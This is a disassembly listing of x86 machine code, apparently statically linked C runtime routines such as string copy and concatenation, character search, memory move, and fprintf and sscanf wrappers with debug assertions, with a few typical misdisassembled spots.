; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E380	proc near		; CODE XREF: seg000:00406171p
					; seg000:004067E5p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41E040
		add	esp, 10h
		pop	ebp
		retn
sub_41E380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3A0	proc near		; CODE XREF: seg000:00405BDFp
					; seg000:00405BFDp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41E3C1
		xor	eax, eax
		jmp	short loc_41E3C3
; ---------------------------------------------------------------------------


loc_41E3C1:				; CODE XREF: sub_41E3A0+1Bj
		mov	eax, edi


loc_41E3C3:				; CODE XREF: sub_41E3A0+1Fj
		cld
		pop	edi
		leave
		retn
sub_41E3A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3D0	proc near		; CODE XREF: seg000:004055D4p
					; seg000:0041E427p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	near ptr 3D0000h
		jp	short near ptr loc_41E362+2
		sal	byte ptr [ebp+arg_0+3],	0FFh
		adc	eax, offset dword_4F1310
		mov	[ebp+var_4], eax
		jmp	short loc_41E3F4
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0


loc_41E3F4:				; CODE XREF: sub_41E3D0+1Bj
		cmp	[ebp+var_4], 0
		jz	short loc_41E40B
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_426740
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E40D
; ---------------------------------------------------------------------------


loc_41E40B:				; CODE XREF: sub_41E3D0+28j
		xor	eax, eax


loc_41E40D:				; CODE XREF: sub_41E3D0+39j
		mov	esp, ebp
		pop	ebp
		retn
sub_41E3D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	sub_41E3D0
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E440	proc near		; CODE XREF: seg000:0040552Bp
					; sub_40C5EF+181p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax


loc_41E44F:				; CODE XREF: sub_41E440+37j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41E473
		push	offset dword_4394FC
		push	0
		push	38h
		push	offset aFprintf_c ; "fprintf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41E473
		int	3		; Trap to Debugger


loc_41E473:				; CODE XREF: sub_41E440+13j
					; sub_41E440+30j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41E44F


loc_41E479:				; CODE XREF: sub_41E440+61j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41E49D
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	39h
		push	offset aFprintf_c ; "fprintf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41E49D
		int	3		; Trap to Debugger


loc_41E49D:				; CODE XREF: sub_41E440+3Dj
					; sub_41E440+5Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41E479
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41F070
		add	esp, 4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4269E0
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_424CB0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_426B40
		add	esp, 8
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41F0E0
		add	esp, 4
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41E440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E510	proc near		; CODE XREF: seg000:004037EAp
					; seg000:0042AE16p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41E541
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41E53F
		jz	short loc_41E541
		dec	ecx
		dec	ecx


loc_41E53F:				; CODE XREF: sub_41E510+29j
		not	ecx


loc_41E541:				; CODE XREF: sub_41E510+9j
					; sub_41E510+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41E510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E550	proc near		; CODE XREF: seg000:00403447p
					; seg000:00405289p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41E5C1
sub_41E550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E560	proc near		; CODE XREF: seg000:00403450p
					; seg000:00406FB8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41E57C


loc_41E56D:				; CODE XREF: sub_41E560+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41E5AF
		test	ecx, 3
		jnz	short loc_41E56D


loc_41E57C:				; CODE XREF: sub_41E560+Bj
					; sub_41E560+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41E57C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41E5BE
		test	ah, ah
		jz	short loc_41E5B9
		test	eax, 0FF0000h
		jz	short loc_41E5B4
		test	eax, 0FF000000h
		jz	short loc_41E5AF
		jmp	short loc_41E57C
; ---------------------------------------------------------------------------


loc_41E5AF:				; CODE XREF: sub_41E560+12j
					; sub_41E560+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41E5C1
; ---------------------------------------------------------------------------


loc_41E5B4:				; CODE XREF: sub_41E560+44j
		lea	edi, [ecx-2]
		jmp	short loc_41E5C1
; ---------------------------------------------------------------------------


loc_41E5B9:				; CODE XREF: sub_41E560+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41E5C1
; ---------------------------------------------------------------------------


loc_41E5BE:				; CODE XREF: sub_41E560+39j
		lea	edi, [ecx-4]


loc_41E5C1:				; CODE XREF: sub_41E550+5j
					; sub_41E560+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41E5E6


loc_41E5CD:				; CODE XREF: sub_41E560+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41E638
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41E5CD
		jmp	short loc_41E5E6
; ---------------------------------------------------------------------------


loc_41E5E1:				; CODE XREF: sub_41E560+9Ej
					; sub_41E560+B8j
		mov	[edi], edx
		add	edi, 4


loc_41E5E6:				; CODE XREF: sub_41E560+6Bj
					; sub_41E560+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41E5E1
		test	dl, dl
		jz	short loc_41E638
		test	dh, dh
		jz	short loc_41E62F
		test	edx, 0FF0000h
		jz	short loc_41E622
		test	edx, 0FF000000h
		jz	short loc_41E61A
		jmp	short loc_41E5E1
; ---------------------------------------------------------------------------


loc_41E61A:				; CODE XREF: sub_41E560+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41E622:				; CODE XREF: sub_41E560+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41E62F:				; CODE XREF: sub_41E560+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41E638:				; CODE XREF: sub_41E560+72j
					; sub_41E560+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41E560	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E650


loc_41E640:				; CODE XREF: sub_41E650+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41E650
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E650	proc near		; CODE XREF: seg000:0040342Cp
					; seg000:004034D3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041E640 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41E656:				; CODE XREF: sub_41DBE0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41E67B


loc_41E668:				; CODE XREF: sub_41E650+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41E640
		test	cl, cl
		jz	short loc_41E6C4
		test	edx, 3
		jnz	short loc_41E668


loc_41E67B:				; CODE XREF: sub_41E650+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41E686:				; CODE XREF: sub_41E650+61j
					; sub_41E650+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41E6C8
		and	eax, 81010100h
		jz	short loc_41E686
		and	eax, 1010100h
		jnz	short loc_41E6C2
		and	esi, 80000000h
		jnz	short loc_41E686


loc_41E6C2:				; CODE XREF: sub_41E650+68j
					; sub_41E650+81j ...
		pop	esi
		pop	edi


loc_41E6C4:				; CODE XREF: sub_41E650+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E6C8:				; CODE XREF: sub_41E650+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41E705
		test	al, al
		jz	short loc_41E6C2
		cmp	ah, bl
		jz	short loc_41E6FE
		test	ah, ah
		jz	short loc_41E6C2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41E6F7
		test	al, al
		jz	short loc_41E6C2
		cmp	ah, bl
		jz	short loc_41E6F0
		test	ah, ah
		jz	short loc_41E6C2
		jmp	short loc_41E686
; ---------------------------------------------------------------------------


loc_41E6F0:				; CODE XREF: sub_41E650+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E6F7:				; CODE XREF: sub_41E650+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E6FE:				; CODE XREF: sub_41E650+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E705:				; CODE XREF: sub_41E650+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41E650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E710	proc near		; CODE XREF: sub_408990+8Dp
					; sub_409293+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41E7C4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41E73A


loc_41E72B:				; CODE XREF: sub_41E710+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41E76B
		test	edi, 3
		jnz	short loc_41E72B


loc_41E73A:				; CODE XREF: sub_41E710+19j
					; sub_41E710+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41E73A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41E778
		test	ah, ah
		jz	short loc_41E773
		test	eax, 0FF0000h
		jz	short loc_41E76E
		test	eax, 0FF000000h
		jnz	short loc_41E73A


loc_41E76B:				; CODE XREF: sub_41E710+20j
		dec	edi
		jmp	short loc_41E77B
; ---------------------------------------------------------------------------


loc_41E76E:				; CODE XREF: sub_41E710+52j
		sub	edi, 2
		jmp	short loc_41E77B
; ---------------------------------------------------------------------------


loc_41E773:				; CODE XREF: sub_41E710+4Bj
		sub	edi, 3
		jmp	short loc_41E77B
; ---------------------------------------------------------------------------


loc_41E778:				; CODE XREF: sub_41E710+47j
		sub	edi, 4


loc_41E77B:				; CODE XREF: sub_41E710+5Cj
					; sub_41E710+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41E790
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41E7DC
		jmp	short loc_41E7AC
; ---------------------------------------------------------------------------


loc_41E790:				; CODE XREF: sub_41E710+75j
					; sub_41E710+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41E7CA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41E7C0
		test	esi, 3
		jnz	short loc_41E790
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41E7DC


loc_41E7AC:				; CODE XREF: sub_41E710+7Ej
					; sub_41E710+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41E7C0


loc_41E7B3:				; CODE XREF: sub_41E710+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41E7C2
		dec	ecx
		jnz	short loc_41E7B3


loc_41E7C0:				; CODE XREF: sub_41E710+8Bj
					; sub_41E710+A1j
		mov	[edi], cl


loc_41E7C2:				; CODE XREF: sub_41E710+ABj
		pop	ebx
		pop	esi


loc_41E7C4:				; CODE XREF: sub_41E710+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41E7CA:				; CODE XREF: sub_41E710+85j
					; sub_41E710+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41E7D4:				; CODE XREF: sub_41E710+E4j
					; sub_41E710+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41E7AC


loc_41E7DC:				; CODE XREF: sub_41E710+7Cj
					; sub_41E710+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41E7D4
		test	dl, dl
		jz	short loc_41E7CA
		test	dh, dh
		jz	short loc_41E828
		test	edx, 0FF0000h
		jz	short loc_41E818
		test	edx, 0FF000000h
		jnz	short loc_41E7D4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41E818:				; CODE XREF: sub_41E710+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41E828:				; CODE XREF: sub_41E710+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41E710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E840	proc near		; CODE XREF: sub_408AC1+62p
					; sub_408AC1+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41E860
		cmp	edi, eax
		jb	loc_41E9D8


loc_41E860:				; CODE XREF: sub_41E840+16j
		test	edi, 3
		jnz	short loc_41E87C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41E89C
		rep movsd
		jmp	ds:off_41E988[edx*4]
; ---------------------------------------------------------------------------


loc_41E87C:				; CODE XREF: sub_41E840+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41E894
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41E89C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41E894:				; CODE XREF: sub_41E840+46j
		jmp	dword ptr ds:loc_41E998[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41E89C:				; CODE XREF: sub_41E840+31j
					; sub_41E840+8Ej ...
		jmp	ds:off_41E91C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41E8B0
		dd offset loc_41E8DC
		dd offset loc_41E900
; ---------------------------------------------------------------------------


loc_41E8B0:				; DATA XREF: sub_41E840+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41E89C
		rep movsd
		jmp	ds:off_41E988[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41E8DC:				; DATA XREF: sub_41E840+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41E89C
		rep movsd
		jmp	ds:off_41E988[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41E900:				; DATA XREF: sub_41E840+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41E89C
		rep movsd
		jmp	ds:off_41E988[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41E91C	dd offset loc_41E97F	; DATA XREF: sub_41E840:loc_41E89Cr
		dd offset loc_41E96C
		dd offset loc_41E964
		dd offset loc_41E95C
		dd offset loc_41E954
		dd offset loc_41E94C
		dd offset loc_41E944
		dd offset loc_41E93C
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E840:loc_41E89Cj
					; DATA XREF: sub_41E840+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41E944:				; CODE XREF: sub_41E840:loc_41E89Cj
					; DATA XREF: sub_41E840+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41E94C:				; CODE XREF: sub_41E840:loc_41E89Cj
					; DATA XREF: sub_41E840+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41E954:				; CODE XREF: sub_41E840:loc_41E89Cj
					; DATA XREF: sub_41E840+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41E95C:				; CODE XREF: sub_41E840:loc_41E89Cj
					; DATA XREF: sub_41E840+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41E964:				; CODE XREF: sub_41E840:loc_41E89Cj
					; DATA XREF: sub_41E840+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41E96C:				; CODE XREF: sub_41E840:loc_41E89Cj
					; DATA XREF: sub_41E840+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41E97F:				; CODE XREF: sub_41E840:loc_41E89Cj
					; DATA XREF: sub_41E840:off_41E91Co
		jmp	ds:off_41E988[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41E988	dd offset loc_41E998	; DATA XREF: sub_41E840+35r
					; sub_41E840+92r ...
		dd offset loc_41E9A0
		dd offset loc_41E9AC
		dd offset loc_41E9C0
; ---------------------------------------------------------------------------


loc_41E998:				; CODE XREF: sub_41E840+35j
					; sub_41E840+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41E9A0:				; CODE XREF: sub_41E840+35j
					; sub_41E840+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41E9AC:				; CODE XREF: sub_41E840+35j
					; sub_41E840+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41E9C0:				; CODE XREF: sub_41E840+35j
					; sub_41E840+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41E9D8:				; CODE XREF: sub_41E840+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41EA0C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41EA00
		std
		rep movsd
		cld
		jmp	ds:off_41EB20[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41EA00:				; CODE XREF: sub_41E840+1B1j
					; sub_41E840+208j ...
		neg	ecx
		jmp	dword ptr ds:loc_41EACF+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41EA0C:				; CODE XREF: sub_41E840+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41EA24
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_41EA24+4[eax*4]
; ---------------------------------------------------------------------------


loc_41EA24:				; CODE XREF: sub_41E840+1D6j
					; DATA XREF: sub_41E840+1DDr
		jmp	ds:off_41EB20[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41EA37+1
		dd offset loc_41EA58
; ---------------------------------------------------------------------------
		sub	dl, 41h


loc_41EA37:				; DATA XREF: sub_41E840+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41EA00
		std
		rep movsd
		cld
		jmp	ds:off_41EB20[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41EA58:				; DATA XREF: sub_41E840+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41EA00
		std
		rep movsd
		cld
		jmp	ds:off_41EB20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41EA00
		std
		rep movsd
		cld
		jmp	ds:off_41EB20[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset dword_41EAD4
		dd offset dword_41EADC
		dd offset dword_41EAE4
		dd offset dword_41EAEC
		dd offset dword_41EAF4
		dd offset dword_41EAFC
; ---------------------------------------------------------------------------
		add	al, 0EBh
		inc	ecx


loc_41EACF:				; DATA XREF: sub_41E840+1C2r
		add	[edi], dl
		jmp	short loc_41EB14
; ---------------------------------------------------------------------------
		align 4
dword_41EAD4	dd 1C8E448Bh, 1C8F4489hdword_41EADC	dd 188E448Bh, 188F4489hdword_41EAE4	dd 148E448Bh, 148F4489hdword_41EAEC	dd 108E448Bh, 108F4489hdword_41EAF4	dd 0C8E448Bh, 0C8F4489hdword_41EAFC	dd 88E448Bh, 88F4489h, 48E448Bh, 48F4489h, 8D048Dh, 3000000h
					; DATA XREF: sub_41E840+288o
; ---------------------------------------------------------------------------


loc_41EB14:				; CODE XREF: sub_41E840+291j
		lock add edi, eax


loc_41EB17:				; CODE XREF: sub_41E840+1C2j
		jmp	ds:off_41EB20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41EB20	dd offset loc_41EB30	; DATA XREF: sub_41E840+1B7r
					; sub_41E840:loc_41EA24r ...
		dd offset loc_41EB38
		dd offset loc_41EB48
		dd offset loc_41EB5C
; ---------------------------------------------------------------------------


loc_41EB30:				; CODE XREF: sub_41E840+1B7j
					; sub_41E840:loc_41EA24j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41EB38:				; CODE XREF: sub_41E840+1B7j
					; sub_41E840:loc_41EA24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41EB48:				; CODE XREF: sub_41E840+1B7j
					; sub_41E840:loc_41EA24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41EB5C:				; CODE XREF: sub_41E840+1B7j
					; sub_41E840:loc_41EA24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41E840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB80	proc near		; CODE XREF: sub_409C2C+40p
					; seg000:0040FF24p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_8]
		mov	[ebp+var_2C], ecx


loc_41EB95:				; CODE XREF: sub_41EB80+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41EBB9
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	42h
		push	offset aSscanf_c ; "sscanf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41EBB9
		int	3		; Trap to Debugger


loc_41EBB9:				; CODE XREF: sub_41EB80+19j
					; sub_41EB80+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41EB95


loc_41EBBF:				; CODE XREF: sub_41EB80+67j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41EBE3
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	43h
		push	offset aSscanf_c ; "sscanf.c"
		push	2
